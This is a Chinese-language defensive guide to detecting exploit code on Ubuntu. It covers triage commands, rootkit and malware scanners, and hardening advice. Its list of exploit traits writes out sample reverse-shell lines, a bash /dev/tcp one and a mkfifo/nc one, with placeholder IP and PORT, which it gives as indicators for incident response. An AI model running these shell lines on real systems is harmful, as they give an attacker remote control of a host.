识别Ubuntu系统中的Exploit代码
一 识别思路总览
二 快速排查命令清单
cat /etc/issue、cat /etc/*-release、uname -a、cat /proc/versionid、whoamifind / -type f \( -perm -4000 -o -perm -2000 \) -ls 2>/dev/nullfind /tmp /var/tmp /dev/shm /usr/bin /usr/sbin -type f -mtime -1 -executable -ls 2>/dev/nullfind /tmp /var/tmp /dev/shm -type f \( -name "*.c" -o -name "*.py" -o -name "*.pl" -o -name "a.out" -o -name "payload*" \) 2>/dev/nullcrontab -l、grep -R "CRON" /etc 2>/dev/null、systemctl list-timers --allgrep -R "ExecStart=" /etc/systemd /lib/systemd 2>/dev/nullss -tulpen、netstat -tulpen、lsof -i -P -nunhide proc、unhide sys、unhide tcpgrep "sudo:" /var/log/auth.log、grep "session opened" /var/log/auth.logdpkg -V coreutils bash sudo 或 rpm -V coreutils bash sudo(若使用 RPM 系)三 借助工具进行自动化识别
sudo chkrootkit(可配合 -p 指定可信命令路径、-r 指定只读挂载的根目录进行离线检查)sudo rkhunter --update && sudo rkhunter -c,日志位于 /var/log/rkhunter.logunhide proc、unhide sys、unhide tcpsudo apt-get install clamav && sudo freshclam && sudo clamscan -r /tmp /var/tmp /dev/shm /usr/bin /usr/sbinsudo apt-get install lynis && sudo lynis audit system四 识别 Exploit 代码的关键特征
gcc exp.c -o payload && ./payload。bash -i >& /dev/tcp/IP/PORT 0>&1;或利用命名管道:rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT >/tmp/f五 处置与加固建议
auth.log、syslog、cron 与命令历史(~/.bash_history)以便溯源。/tmp 执行权限,启用 AppArmor/SELinux,开启 ASLR,配置 fail2ban,并定期执行 rkhunter/chkrootkit/Lynis 体检与基线巡检。